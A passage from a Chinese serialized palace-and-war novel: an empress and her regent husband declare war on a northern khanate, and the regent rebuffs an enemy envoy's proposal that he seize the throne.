她左手拇指上的那枚墨玉扳指,在烛光与电光的交织映照下,泛着深邃而冰冷的光泽。 林臻坐在书案另一侧的矮榻上,面前也摊开着数卷文书,正凝神批阅着兵部关于粮草转运的最新细则。 他眉头微锁,显然也在为北疆战事殚精竭虑。窗外一声炸雷响起,惊天动地,连殿内的烛火都为之剧烈晃动。 慕容嫣执笔的手微微一顿,抬起眼,望向窗外被雨幕模糊的夜色,凤眸中掠过一丝不易察觉的忧色,轻声自语: “如此雷暴,北疆不知是何光景?将士们扎营在外,怕是艰苦……” 林臻闻声抬起头,放下手中的笔,走到她身边,将一杯刚沏好的、冒着袅袅热气的安神茶轻轻放在她手边,温声道: “北地苦寒,夏日雷暴亦不稀奇。郑蛟是沙场老将,治军严谨,营盘必然稳固,将士们早有准备,嫣儿不必过于挂心。倒是你,看了大半夜的军报,眼神都乏了,喝口茶歇歇吧。” 他的声音沉稳,带着抚慰人心的力量。 慕容嫣接过温热的茶杯,指尖传来的暖意让她紧绷的心弦稍稍松弛。她就着他的手,小呷了一口,微苦回甘的茶汤滑入喉中,带来一丝暖意。 她放下茶杯,很自然地伸出手,握住了林臻放在案边的手,指尖微凉,带着依赖的力度: “夫君,你看这里,”她用另一只手指着舆图上漠北龙城东南方向的一处山谷标记, “乌维的主力动向依旧不明,但这几日,其小股骑兵越过边境骚扰的次数明显增加,范围也在扩大。我总觉得,这不像单纯的试探,更像是在……迷惑我们,掩盖其真正的意图。” 林臻反手握住她微凉的手,用自己的掌心温暖着,目光随着她的指尖落在舆图上,沉吟道: “你的直觉没错。乌维用兵,向来狡诈。他如此大张旗鼓地四处点火,很可能是在为真正的攻击方向做掩护。根据‘夜枭’最新传回的情报,漠北王庭直属的金狼骑,近日有向西北方向秘密移动的迹象,虽然踪迹隐藏得很好,但还是被我们的人捕捉到了一丝痕迹。” “西北?”慕容嫣凤眸一凛,目光立刻投向舆图的另一端, “那里是……狼山隘口?地势险要,但并非传统用兵大道,守军相对薄弱……乌维想出其不意?” “极有可能!”林臻手指重重点在狼山隘口的位置,眼神锐利, “若从此处突破,可绕过我军重兵布防的朔方、云州一线,直插燕然都护府腹地,威胁更大!好一个声东击西!” 慕容嫣猛地站起身,那长长的墨金色拖尾随着她的动作在地面上滑过,发出“沙”的轻响。 她快步走到悬挂的巨幅舆图前,仰头仔细审视着狼山隘口周边的地形地貌、驻军标记以及可能的进军路线,口中快速说道: “必须立刻调整部署!令燕然都护府加派精锐,严守狼山隘口及各条隐秘小路!同时,令朔方、云州守军提高戒备,防止乌维虚晃一枪!还有粮道,西北粮道必须加派重兵护卫!” 就在她因为心中焦急,语速加快,转身想要对林臻进一步说明调整方案的瞬间—— 动作带着洞察敌情后的急迫与决断! 那迤逦在书案后、地面上、因她骤然起身和快速走动而更加凌乱纠缠长达五丈的墨金色苏锦拖尾,被这迅猛的转身动作骤然带动! 华贵的锦缎拂过地面,与书案椅脚摩擦,发出清晰的“唰啦”声响。 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在烛光与窗外闪电映照下、闪烁着如同雷光般炽烈而耀眼金芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种于危急关头洞察先机、果断决策的、无比凌厉而夺目的光华! 那光芒充满了临战时的紧张、克敌制胜的智慧以及一种不容置疑的统帅权威,尊贵、辉煌,且带着一种与时间赛跑、决胜于千里之外的紧迫感与强大气场! 裙摆落下,将那片凌厉的金光掩盖。慕容嫣已回到案前,提笔蘸墨,语气急促却不失条理: “夫君,我口述,你执笔,立刻拟旨,八百里加急发往北疆!迟则生变!” “好!”林臻毫不迟疑,铺开明黄绢帛,执笔以待。 夫妻二人,一个口述,一个书写,配合默契,一道道关系着北疆安危、帝国命运的指令,在雷声雨声中迅速成形。 就在最后一道调兵手谕即将用印之时,殿外突然传来一阵极其急促、甚至带着慌乱的脚步声,伴随着甲胄碰撞的铿锵之声,直奔栖凤阁而来! 紧接着,是内侍惊恐万分的、带着哭腔的通报声,穿透了雨幕: “陛下!亲王殿下!北疆六百里加急军报!漠北……漠北大军犯境!狼山隘口……告急!” “什么?!”慕容嫣执印的手猛地一顿,玉玺重重落在绢帛上,发出沉闷的一声。 她倏然抬头,与同样骤然而起的林臻目光交汇,两人眼中都充满了震惊,但震惊之后,是如出一辙的、迅速凝聚的冰冷与决绝。 战争,终究还是来了。 第1072章 正式宣战 夏夜的雷雨已然停歇,只余檐角断续滴落的雨水,敲打在殿外汉白玉石阶上,发出清冷的声响,仿佛为这个不眠之夜奏着余韵。 天际墨色未褪,但东方已透出一线鱼肚白,微光艰难地穿透黎明前的黑暗,勾勒出紫禁城巍峨连绵的轮廓。 然而,帝国的中枢却早已灯火通明,如同白昼。 殿外广场上,文武百官顶戴袍服,按品级肃立,人人面色凝重,空气中弥漫着一种山雨欲来前的压抑与寂静,连最细微的衣料摩擦声和呼吸声都清晰可闻。 北疆狼烟骤起的消息,如同插上了翅膀,已在这短短几个时辰内,传遍了整个长安城的权力核心。 卯时正,钟鼓齐鸣,净鞭三响,司礼监太监尖细悠长的唱喏声划破了黎明的寂静:“陛下驾到——百官跪迎——” “万岁!万岁!万万岁!”山呼海啸般的声浪骤然爆发,震得殿宇梁柱上的尘埃都簌簌落下。 高阶之上,侧门开启,慕容嫣在林臻的陪同下,缓步走出,登上那至高无上的九重御阶。 今日非同寻常,乃是决定国运之战开启后的第一次大朝会。 慕容嫣依旧选择了她那身独一无二、亦是她力量与意志象征的神凤降世裙作为底衬。 然而,为契合这无比庄严肃穆的场合,她在睡裙之外,极其郑重地罩上了那件与之配套的、工艺登峰造极的黑金色霞帔。 这霞帔以玄色天蚕锦为底,用七彩金线混合鸟羽绒,以失传的“盘金蹙绣”法,绣满了百鸟朝凤、云海翻腾的图案,霞光流转,华贵不可方物,与睡裙本体的凤凰纹饰层叠辉映,更添万丈威仪。 殿内无数巨烛与宫灯的光芒汇聚在她身上,那神凤降世裙的墨黑苏锦底料,仿佛深不见底的寒潭,将光线深深吸纳。 唯有织入的金色棉绒与金线绣成的凤凰暗纹,在强光下被彻底激活,流淌着如同熔融黄金般炽热而辉煌的光泽,仿佛那只沉睡的凤凰已然苏醒,即将振翅高飞,搏击长空。 苏锦工艺的精湛,确保了这件棉质睡裙即便在如此隆重的场合、层叠加身,依旧因其极致的轻盈特性而不显特别沉重累赘。 那长达五丈的苏锦拖尾,在慕容嫣沉稳而坚定的步伐中,于御阶之上、凤椅之前的光洁金砖地面上迤逦铺开。 随着她的行走,自然地形成蜿蜒、堆叠、皱褶,从高高的御座一直蔓延至丹陛边缘,甚至有几缕垂落至下方百官跪拜之处,形成一种充满力量感与不容置疑权威的、磅礴的凌乱。 宽大的喇叭袖在霞帔的映衬下更显华丽恢弘,袖口金线流苏随着她的动作微微晃动。 她左手拇指上的墨玉扳指,在殿内辉煌的光线下,泛着幽深而坚定的光泽。 “众卿平身。”慕容嫣端坐于凤椅之上,目光平静地扫过下方黑压压起身的臣工,声音清越,不高不低,却带着一种奇异的穿透力,清晰地压过了殿内所有的杂音,传入每个人耳中。 “谢陛下!”百官再拜,起身肃立。所有人的目光都聚焦在那九重高台之上,聚焦在那位身着墨金凤袍、威仪天成的女帝身上。 没有多余的寒暄,慕容嫣直接切入主题,凤眸中含着一丝冰冷的锐光,开门见山: “北疆军报,众卿想必已有耳闻。漠北乌维,背信弃义,悍然撕毁和约,集结重兵,犯我疆土,狼山隘口烽火已燃!此乃对我大乾国威之挑衅,对天下黎民之践踏!朕,问诸位爱卿,当如何应对?” 她的声音在空旷的大殿中回荡,带着金属般的质感。 话音刚落,武将班列中,以靖北侯为首的数位老将便已按捺不住,纷纷出列,声若洪钟: “陛下!漠北豺狼,欺人太甚!唯有迎头痛击,方能扬我国威!臣等愿亲赴北疆,不破楼兰终不还!” “蛮夷之辈,畏威而不怀德!唯有将其打疼、打怕,方能换来边境安宁!陛下,战吧!” 主战的声音如同潮水,汹涌澎湃。 然而,文官班列中,亦有人面露忧色,一位须发皆白的老御史颤巍巍出列,躬身道: “陛下,兵者,凶器也,圣人不得已而用之。战端一开,生灵涂炭,国库耗费巨大……是否……是否可再遣使申饬,或令边将谨守关隘,以观其变?若能不战而屈人之兵,方为上策啊……” 立刻有主战派官员反驳: “李御史此言差矣!乌维狼子野心,岂是言语所能打动?谨守关隘,无异于坐以待毙!唯有主动出击,方能掌握战机!” 朝堂之上,顿时争论又起,虽不及上次朝会激烈,但主战主守的立场依旧分明。 慕容嫣端坐其上,静静地听着,脸上没有任何表情,唯有指尖在那温润的墨玉扳指上无意识地轻轻摩挲。 林臻立于丹陛之侧,目光沉稳地扫视全场,将每个人的神态尽收眼底。 待到争论声稍歇,慕容嫣才缓缓抬起手,殿内瞬间安静下来。所有人的目光再次集中到她身上。 “众卿所言,皆有道理。” 她的声音响起,平静中蕴含着风暴来临前的压力, “战,关乎将士生死,百姓安危;和,关乎国体尊严,后世评说。然,朕要问诸位,乌维此次南犯,是为何而来?是为掳掠钱粮,还是为亡我国家,毁我社稷?” 她微微停顿,凤眸中寒光迸射,声音陡然提高,带着凛然不可侵犯的威严: “据边关急报,乌维此次,非为小打小闹!其麾下精锐尽出,更抬出孔家逆子,打着‘光复正统’的旗号!其目的,绝非劫掠,而是要踏破长城,入主中原!此乃国战!存亡之战!绝非割地赔款、苟且偷安所能化解!” 她的目光扫过方才主张谨慎的老御史,语气放缓,却带着更重的分量: “李爱卿心系黎民,朕心甚慰。然,须知皮之不存,毛将焉附?若国门洞开,蛮族铁蹄践踏之下,何来百姓安宁?今日之牺牲,乃是为了明日之永逸!为了子孙后代,不再受此战乱之苦!” 她再次看向主战的将领,声音斩钉截铁: “靖北侯,诸位将军,忠勇可嘉!然,此战非同小可,乌维蓄谋已久,我军需有万全之策!不仅要勇,更要谋!要稳!要准!要狠!” 最后,她的目光投向一直沉默肃立的林臻,语气中带着全然的信赖与托付:“摄政亲王。” 林臻立刻出列,躬身肃容:“臣在!” “北疆战事,由你全权节制,总揽全局!朕予你临机专断之权,凡作战所需,兵员、粮草、军械,朝廷上下,全力保障,不得有误!前线将士,有功即赏,有过则罚,务必赏罚分明,激励士气!” 慕容嫣的声音清晰有力,每一个字都如同重锤,敲在殿内每个人的心上。 “臣,领旨!定不负陛下重托,不负江山社稷!”林臻轰然应诺,声音沉稳如山。 “好!”慕容嫣霍然起身,那长达五丈的墨金色拖尾随之在地面上滑动。 她立于高台之上,俯视群臣,凤威凛然,声音如同出鞘的利剑,传遍大殿的每一个角落: “传朕旨意!即日起,大乾帝国,对漠北王庭,正式宣战!” “擢升镇北将军郑蛟为征北大元帅,节制北疆诸军,赋予先斩后奏之权!” “命兵部、户部、工部,即刻启动战时机制,一切为战事让路!全国粮草、军械、民夫,统一调度,优先供给北疆!” 第1073章 为什么总是心烦意乱的呢 “通告天下,凡我大乾子民,需同仇敌忾,共御外侮!有敢通敌卖国、散布谣言、动摇军心者,立斩不赦!” “此战,关乎国运,关乎存亡!望诸位爱卿,摒弃成见,同心协力,助朕,助亲王,助前线将士,打赢这场卫国之战!” “臣等谨遵圣谕!誓死效忠陛下!大乾必胜!”殿下百官,无论此前持何种立场,在此刻,都被女帝决绝的意志和磅礴的威势所感染,齐刷刷跪倒在地,发出震天的吼声。 就在慕容嫣宣布完最后一道旨意,准备转身与林臻商议具体细节的瞬间—— 动作带着下达最终决断后的决绝与迈向新征程的坚定! 那迤逦在御阶之上、凤椅之前、铺散凌乱长达五丈的墨金色苏锦拖尾,被这迅猛的转身动作骤然带动! 华贵的锦缎拂过光滑如镜的金砖地面,发出“铿锵”般的锐响,仿佛金铁交鸣! 随着拖尾的轰然飘起——赫然露出了里面那金线密织、在殿内无数烛光与黎明曙光共同照耀下、闪烁着如同旭日喷薄而出、熔金化铁般炽烈而辉煌光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种承载了国运、背负了苍生、向死而生、决意开战的、无比磅礴而神圣的金芒! 那光芒充满了帝王的决断、统帅的意志、以及一种与山河共存亡的悲壮与豪情,尊贵、辉煌,且在此刻化为了席卷一切的战争洪流与必胜信念! 裙摆落下,将那片象征战争与决心、足以燃烧一切的金光掩盖。 慕容嫣与林臻对视一眼,无需言语,一切尽在不言中。 ...... 宣战后的第三日。 白日的喧嚣与紧张仿佛随着夕阳一同沉入了地平线,但夜幕下的紫禁城并未安寝,反而笼罩在一种比往日更加凝重的氛围中。 各处宫门守卫森严,巡逻的禁军队伍盔甲鲜明,脚步声在空旷的宫道上回荡,比平日更显急促。连绵的夜雨不知何时又悄然而至。 淅淅沥沥,敲打着琉璃瓦,洗刷着汉白玉栏杆,为这不安的夜晚增添了几分潮湿的寒意与凄清。 栖凤阁内,烛火通明,却静得只剩下烛芯偶尔爆裂的噼啪声和窗外绵密的雨声。 慕容嫣屏退了所有宫人,独自一人凭窗而立。 她并未安寝,身上依旧只穿着那身神凤降世裙,甚至连那件黑金色霞帔也未曾罩上。 夜深人静,又是在这最私密的寝殿之内,她卸下了白日里需要示人的庄重,只余这身贴肤的寝衣,更显出一种真实的、略带疲惫的状态。 殿内只点了几盏靠近窗边的宫灯,光线昏黄,将她的身影拉得悠长。 那神凤降世裙,在这样柔和而局部的光线下,墨黑的苏锦底料仿佛与窗外的夜色融为了一体,呈现出一种极致的、沉静的玄色。 唯有织入其中的金色棉绒与金线绣成的凤凰暗纹,在微弱的光晕中,隐隐流淌着一种如同暗夜星河般细碎而持久的光泽,不耀眼,却深邃。 苏锦工艺赋予这件棉质睡裙的轻盈特性,在此刻展现得淋漓尽致,宽大的裙幅随着她静止的姿态自然垂坠,贴合着她纤细的身形,丝毫不显臃肿或沉重。 那长达五丈的苏锦拖尾,在她身后迤逦铺开,从窗边一直蔓延至内殿深处的凤榻之畔,甚至有几缕滑入了通往浴殿的侧廊阴影里。 因她久立不动,裙摆大部分平静地铺陈在冰凉的金砖地面上,唯有靠近她脚踝的部分,因她细微的呼吸和偶尔调整重心而形成了些许自然的褶皱堆积,在这寂静中构成一种静态的、却蕴含着巨大张力的凌乱。 宽大的喇叭袖一只软软垂在身侧,袖口的金线流苏拂过地面,另一只则被她抬起,纤长的手指轻轻搭在雕凤窗棂冰凉的木格上,望着窗外被雨幕笼罩的、漆黑一片的远方。 她左手拇指上的墨玉扳指,在昏暗的光线下,几乎与周围的黑暗融为一体,唯有偶尔极细微转动时,才会闪过一丝幽深的光。 她在看北方。 尽管重重宫墙、千里关山阻隔,她的目光却仿佛穿透了这夜雨,投向了那片正在或即将被战火点燃的土地。 宣战的诏书已下,战争的机器已然开动,但她的心,却无法完全安定。 一道道军令从枢密院发出,一车车粮草辎重正星夜兼程赶往北疆,一位位将领奉命开拔……这一切,是否能抵挡住漠北蓄谋已久的铁骑? 郑蛟能否守住防线? 又将有多少将士,会血洒疆场,马革裹尸? 一种深沉的、属于帝王的忧虑与责任,沉甸甸地压在她的心头,比身上这件衣裙,要沉重千倍、万倍。 “吱呀——”一声轻微的响动,寝殿的门被轻轻推开。 林臻带着一身微凉的湿气与水汽,悄无声息地走了进来。 他已换下了亲王朝服,只着一身玄色软缎常服,外罩一件挡雨的深色斗篷,发梢还沾着细小的雨珠。 他挥手示意门口侍立的宫女不必通报,轻轻脱下沾湿的斗篷交给宫女,然后迈步走了进来。 听到脚步声,慕容嫣缓缓转过身。 看到是他,她眼中那深沉的忧思瞬间被一丝依赖和安心所取代,紧绷的肩线微微放松下来。 “夫君,你回来了……枢密院那边,情况如何?”她的声音带着一丝疲惫的沙哑,很自然地向他伸出手。 林臻快步上前,一把握住她微凉的手,剑眉微蹙:“手这样凉,站在风口多久了?” 他的语气带着心疼的责备,立刻用自己温热的手掌将她的手紧紧包裹,同时另一只手习惯性地探向她的额头,感受温度。 “没多久,只是看着雨,心里有些乱,静一静。” 慕容嫣任由他握着,汲取着他掌心传来的温暖,将身体微微靠向他, “前线有新的消息吗?” 林臻揽住她的肩,带着她离开窗口,走到内殿铺着厚厚绒毯的暖榻边坐下。 榻边的蟠龙烛台光线更明亮些,映照出他眉宇间的凝重与连日操劳的痕迹。 “刚收到郑蛟的六百里加急。漠北前锋精锐约三万骑,已连续两日猛攻狼山隘口,攻势极为凶猛。守将王禀率部死战,伤亡不小,但隘口尚在手中。郑蛟已急调朔方铁骑两万驰援,最迟明日晚间可到。此外,乌维的主力动向依旧诡秘,其大纛似乎在狼山以北百里外忽东忽西,难以判断其真正意图。” 慕容嫣靠在他怀中,听着他沉稳的叙述,感受着他胸膛传来的有力心跳,纷乱的心绪渐渐平息了些。 她闭上眼,深吸一口气,再睁开时,眼中已恢复了清明与决断: “狼山隘口是关键,绝不能有失。告诉郑蛟,不惜一切代价,也要守住!援军不够,就从云州、燕然再调!朝廷的粮草军械,会全力保障!” “我已经以枢密院的名义,发出了调兵手令。” 林臻点头,轻轻拍抚着她的后背,像是安抚一个不安的孩子, “你放心,郑蛟是老将,王禀亦是悍勇之将,狼山天险,不是那么容易攻破的。乌维想速战速决,我们偏要跟他耗着,拖得越久,对我们越有利。” “嗯。”慕容嫣轻轻应了一声,将脸埋在他颈窝,声音闷闷的, “只是苦了前线的将士们……还有,朝中那些人……” 她没有明说,但林臻知道,她指的是以崔家为首的、那些对孔家之事心存芥蒂的世家势力。 战事一起,这些人是否会在后方掣肘,散布流言,甚至与漠北暗通款曲,都是未知之数。 第1074章 策反林臻 “后方之事,有我。”林臻的声音低沉而坚定,带着不容置疑的力量, “崔明远那边,‘夜枭’盯得很紧,他暂时不敢有异动。朝中若有谁敢在此时兴风作浪,便是自寻死路!你只需稳坐中枢,便是对前线最大的支持。” 他的话语如同最坚实的壁垒,驱散了慕容嫣心中最后一丝不安。 她抬起头,望着他近在咫尺的、写满关切与坚定的脸庞,心中涌起一股暖流,忍不住伸出手,轻轻抚摸他下颌新冒出的、有些扎手的胡茬,语气带着心疼与撒娇: “我知道……就是辛苦你了,又要统筹军务,还要替我弹压朝局,瞧你,都清减了。” 林臻握住她抚摸自己脸颊的手,放到唇边轻轻一吻,眼中满是柔情:“为你,为大乾,何谈辛苦。只要你能安心,我便是赴汤蹈火,也在所不辞。” 他低头,额头轻轻抵着她的额头,呼吸交融,低声道, “嫣儿,别怕,有我在。我们一定会赢的。” “我不怕。”慕容嫣迎着他的目光,摇了摇头,凤眸中闪烁着与他同样的坚定光芒, “有夫君在,我什么都不怕。只是……我们要赢,而且要赢得漂亮!赢得让那些暗中窥伺的人,再也不敢有丝毫异心!” 她的声音不大,却带着一股凛然的杀气与决心。 就在这时,窗外一阵疾风掠过,卷着雨点猛烈地拍打在窗棂上,发出“哐当”一声巨响! 慕容嫣被这突如其来的声响惊得微微一颤,下意识地转头望向窗户方向。 就在她回身的瞬间—— 动作带着被外音惊扰后的警觉与瞬间恢复的镇定! 那迤逦在暖榻之下、地面绒毯之上、因她久坐和起身而堆积铺散、长达五丈的墨金色苏锦拖尾,被这迅猛的转身动作骤然带动! 华贵的锦缎拂过柔软的毯面,发出“唰”的一声沉闷而清晰的摩擦声! 随着拖尾的轰然飘起——赫然露出了里面那金线密织、在榻边明亮烛光的直射下、闪烁着如同暗夜中被闪电骤然照亮的地下熔岩般炽热而滚烫光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种于风雨飘摇中愈发坚韧、于内忧外患下愈发璀璨的、几乎要灼伤人眼的辉煌金芒! 那光芒充满了对未来的无限信心、对伴侣的全然信赖、以及对一切挑战予以迎头痛击的磅礴力量,尊贵、辉煌,且在此刻化作了一道劈开黑暗、无可阻挡的光之洪流! 裙摆落下,将那片灼热的、象征信念与力量的金光掩盖。慕容嫣已恢复了平静,她重新靠回林臻怀中,轻声道:“不过是风雨声罢了。” ...... 子时刚过,摄政王府深处,一间远离主院、看似用作存放旧籍文书的僻静厢房内,烛火摇曳,将两个对坐的人影投在糊着厚厚桑皮纸的墙壁上,拉得忽长忽短,扭曲不定。 空气中弥漫着陈年书卷的霉味、烛火燃烧的烟味,以及一种紧绷得几乎要凝固的沉默。 窗外夜色如墨,万籁俱寂,唯有更夫遥远的梆子声,偶尔划破这片死寂,更添几分诡秘。 林臻端坐在一张简朴的紫檀木圈椅上,身着一袭毫无纹饰的玄色常服,外罩一件同色的薄氅,整个人仿佛融入了房间的阴影之中。 他面色平静,眼神却如同幽深的寒潭,锐利地审视着坐在他对面的那个人。 烛光在他棱角分明的脸上投下明暗交织的阴影,使他平日里的雍容华贵尽数敛去,只剩下一种属于上位者的、不怒自威的冷冽气场。 坐在他对面的,是一个身形瘦削、裹在一件宽大破旧、带着浓重羊膻味的牧民皮袍里的男子。 那人帽檐压得极低,遮住了大半张脸,只露出一个布满风霜痕迹、鹰钩般的鼻尖和一张紧抿着的、线条冷硬的薄唇。 他的坐姿看似拘谨卑微,双手拢在袖中,放在膝上,但微微紧绷的肩颈线条,却透露出一种常年驰骋马背形成的、刻在骨子里的警觉与力量感。 此人,正是漠北左贤王乌维麾下最神秘的谋士之一,亦是乌维幼女萨仁公主的骑射老师,名为阿史那德,人称“草原之狐”。 他此次潜入长安,冒了天大的风险,只为秘密求见这位大乾的摄政王。 房间内除了他们二人,再无第三者。 连奉茶的老仆,在将两杯滚烫的、滋味浓酽的砖茶放在二人手边的矮几上后,也已悄无声息地退了出去,并将房门严密合拢。 沉默持续了足有一炷香的功夫,只有烛芯偶尔爆开的噼啪声,和两人几不可闻的呼吸声。 最终,是阿史那德先开了口,他的声音沙哑低沉,带着浓重的漠北口音,却说得一口流利的汉语,字句清晰: “尊贵的摄政王殿下,深夜冒昧打扰,实属无奈。长生天见证,我带来的,是左贤王乌维殿下对和平的诚意,以及对殿下您个人的……敬意。” 林臻端起手边的茶杯,指尖感受着粗糙陶碗传来的滚烫温度,却没有喝,只是轻轻摩挲着碗壁,目光依旧锁定在对方身上,语气平淡无波,听不出丝毫情绪: “诚意?乌维左贤王一边陈兵十万,猛攻我狼山隘口,一边派你深夜潜入长安,来跟本王谈诚意?阿史那先生,你不觉得,这很讽刺吗?” 他的话语如同冰冷的刀子,直接剖开了虚伪的表象。 阿史那德藏在帽檐阴影下的脸上肌肉似乎抽搐了一下,但他很快稳住了心神,声音依旧平稳: “殿下明鉴。狼山之事,乃是部族中一些性急的年轻人,贪功冒进,并非左贤王本意。左贤王一直希望能与贵国和平共处,互通有无。此次冲突,实乃误会,是有人……嗯,是有人从中挑拨,妄图破坏两国邦交。” 他话语含糊,意有所指。 “哦?误会?挑拨?”林臻嘴角勾起一抹极淡的、冰冷的弧度, “不知是谁有这么大的本事,能挑动漠北王庭发动一场国战?莫非是……那位被乌维左贤王奉为上宾的‘圣裔驸马’,孔志谦公子?” 他直接点出了那个敏感的名字,目光如炬,仿佛要穿透那顶皮帽,看清对方最真实的反应。 阿史那德的身体几不可察地僵硬了一瞬,拢在袖中的手似乎握紧了。他沉默了片刻,才缓缓道: “殿下消息灵通……孔公子之事,亦是无奈。其家族蒙难,流落草原,左贤王不过是出于仁义,给予庇护。至于‘驸马’之称,更是底下人胡乱起哄,当不得真。左贤王深知,大乾朝廷对孔家之事已有圣断,绝无他意。” 他试图将关系撇清,语气中带着一丝不易察觉的急切。 林臻放下茶杯,发出轻微的磕碰声。 他身体微微前倾,烛光在他眼中跳动,带来一种无形的压迫感: “阿史那先生,不必绕圈子了。乌维让你来,究竟想说什么?若是劝降,或是妄想割地求和,那就请免开尊口。我大乾将士的血,不会白流。” 感受到林臻身上散发出的凛冽杀气,阿史那德终于抬起了头,帽檐下,一双如同草原饿狼般闪烁着精明与狡黠光芒的眼睛,对上了林臻的视线。 他脸上布满深刻的皱纹,皮肤黝黑粗糙,但那双眼睛却异常锐利。 “殿下误会了。左贤王绝非此意。”他深吸一口气,仿佛下定了决心,压低了声音,“左贤王派我来,是想与殿下做一笔交易……一笔,对殿下,对左贤王,都有利的交易。” 第1075章 你在说什么猪话 “交易?”林臻眉梢微挑,示意他继续说下去。 “是。”阿史那德的声音更低,几乎如同耳语, “左贤王深知,大乾皇帝陛下……嗯,乃是女流之辈,虽有些手段,但终究……牝鸡司晨,非长久之计。而殿下您,文韬武略,威望素著,才是这大乾江山真正的支柱。如今北疆战事胶着,耗费钱粮无数,若长期僵持下去,于大乾国力有损,于殿下您的威望……恐怕也非益事。” 他小心翼翼地观察着林臻的脸色,见对方并无怒色,只是眼神愈发深邃,便继续道: “左贤王的意思是,只要殿下愿意,在适当的时机,行非常之事,届时,漠北铁骑愿成为殿下最坚实的外援。左贤王可即刻下令退兵,并与殿下签订永久和约,承认殿下为中原之主,甚至可以帮助殿下,清除一些不听话的障碍。” 他话语中的暗示,已经赤裸裸得近乎挑衅。 林臻静静地听着,脸上没有任何表情,唯有搭在椅扶手上的手指,无意识地轻轻敲击着光滑的木料,发出极有规律的、轻微的“笃笃”声。这声音在寂静的房间里,显得格外清晰,也格外令人心悸。 良久,林臻才缓缓开口,声音冷得如同数九寒冰: “乌维左贤王,真是打得一手好算盘。他想让本王背负弑君篡位的千古骂名,然后他再以‘盟友’之名,行操控之实?甚至,还想借本王之手,除掉他在大乾的眼中钉?阿史那先生,你觉得,本王是那种为了一己私利,便可出卖祖宗江山、背叛君父妻儿的人吗?” 最后一句,他语气陡然转厉,眼中寒光迸射,如同实质的刀锋,直刺对方心底。 阿史那德被这突如其来的凌厉气势所慑,下意识地后退了半分,帽檐下的额头渗出了细密的冷汗。他强自镇定,连忙道: “殿下息怒!左贤王绝无此意!只是……只是为殿下着想。毕竟,这天下,终究是强者居之……况且,那慕容嫣对孔家手段如此酷烈,难道殿下心中,就毫无芥蒂吗?” 他试图挑起林臻对慕容嫣的不满。 “住口!”林臻猛地一拍扶手,霍然起身,高大的身影在烛光下投下巨大的阴影,将阿史那德完全笼罩。他居高临下地俯视着对方,声音如同雷霆,在小小的密室中炸响: “慕容陛下乃本王结发之妻,是大乾名正言顺的皇帝!其文治武功,岂是尔等蛮夷可以妄加评议?孔家勾结外敌,谋刺君上,罪证确凿,依律处置,何来酷烈之说?尔等再敢胡言乱语,挑拨离间,休怪本王立刻将你拿下,明正典刑!” 强大的威压如同山岳般倾泻而下,阿史那德脸色煞白,再也维持不住镇定,噗通一声跪倒在地,连连叩首: “殿下恕罪!是小人失言!小人该死!小人该死!” 他浑身颤抖,方才的狡黠与镇定荡然无存,只剩下面对绝对力量时的恐惧。 林臻冷冷地看着他磕头如捣蒜,过了好一会儿,才缓缓坐回椅子上,语气恢复了之前的平静,却更添了几分不容置疑的威严: “回去告诉乌维,他的‘好意’,本王心领了。但大乾的江山,自有大乾的君臣来守护,不劳他费心。他若识相,即刻退兵,上表请罪,我朝或可念在上天有好生之德,网开一面。若再执迷不悟,负隅顽抗,那就战场上见真章吧!我大乾百万雄师,定叫他漠北铁骑,有来无回!” “是!是!小人一定将殿下的话,一字不差地带给左贤王!” 阿史那德如蒙大赦,连连应诺,声音都在发抖。 “滚吧。”林臻挥了挥手,语气淡漠, “记住,你是怎么来的,就怎么回去。若让本王知道,你在长安另有动作,或是今日之事有半点泄露……” 他没有说完,但话语中的杀意,让阿史那德不寒而栗。 “小人明白!小人明白!绝不敢有丝毫异动!” 阿史那德连滚爬爬地起身,不敢再多看林臻一眼,几乎是手脚并用地退出了密室,消失在门外的黑暗中。 密室重归寂静,只剩下林臻一人,以及那跳跃不定的烛火。 他独自坐在阴影里,手指依旧无意识地敲击着扶手,目光幽深地望着跳动的火焰,脸上没有任何表情,唯有那双深邃的眼眸中,翻涌着复杂难明的思绪。 乌维的试探,既在意料之外,又在情理之中。 这更加证实了漠北内部并非铁板一块,也暴露了乌维对迅速取胜缺乏信心的焦躁。 ...... 漠北,龙城西南四百里,大乾北征军帅帐。 时值盛夏,漠北的夜晚却依旧带着刺骨的寒意。 狂风卷着沙砾,如同无数细小的刀子,抽打在牛皮帅帐上,发出持续不断的、令人心烦意乱的“沙沙”声。 帐外,巡夜士兵沉重的脚步声、战马偶尔的响鼻声、以及远处隐约传来的刁斗声,交织成一曲边塞特有的、紧张而肃杀的夜曲。 天空中无星无月,只有浓重的、化不开的墨色,将广袤的荒原彻底吞没。 帅帐之内,气氛凝重得几乎要滴出水来。 数盏巨大的牛油灯悬挂在帐中央的支架上,跳动的火苗将帐内照得亮如白昼,也在地上投下摇曳不定、如同鬼魅般的影子。 空气中弥漫着浓烈的皮革、汗水、尘土以及墨汁混合的气息。 巨大的北疆及漠北腹地沙盘几乎占据了帐内一半的空间,沙盘上山川河流、城池关隘、敌我态势,都用不同颜色的小旗标注得清清楚楚。 沙盘旁,一张简陋的柏木长案上,铺满了军情邸报、地图以及各种文书,墨迹犹新。 林臻未着亲王蟒袍,只穿了一身便于行动的玄色劲装,外罩一件半旧的狐皮大氅,风尘仆仆的脸上带着难以掩饰的疲惫,但一双眼睛却亮得惊人,如同雪原上盯紧了猎物的头狼,锐利、冷静,充满了压迫感。 他站在沙盘前,微微俯身,手指正点着沙盘上代表狼山隘口的位置,那里插着一面略显残破的红色龙旗,周围则密密麻麻地围着代表漠北军队的黑色狼头旗。 他的对面,站着北征大元帅郑蛟。这位年过五旬的老将,身材魁梧,面色黝黑,脸上刀疤纵横,一双虎目因连日的熬夜布满了血丝,但腰杆依旧挺得笔直,浑身散发着百战老将特有的悍勇与沉稳之气。 他同样未穿全副甲胄,只着一身轻便的皮甲,此刻正凝神听着林臻的问话。 “郑帅,依你之见,乌维主力避而不战,只以小股精锐不断袭扰我粮道,疲敝我军,其真正意图,究竟何在?” 林臻的声音不高,却带着一种金属般的质感,穿透了帐外的风声,清晰地传入郑蛟耳中。 郑蛟抱拳,声音洪亮而沙哑: 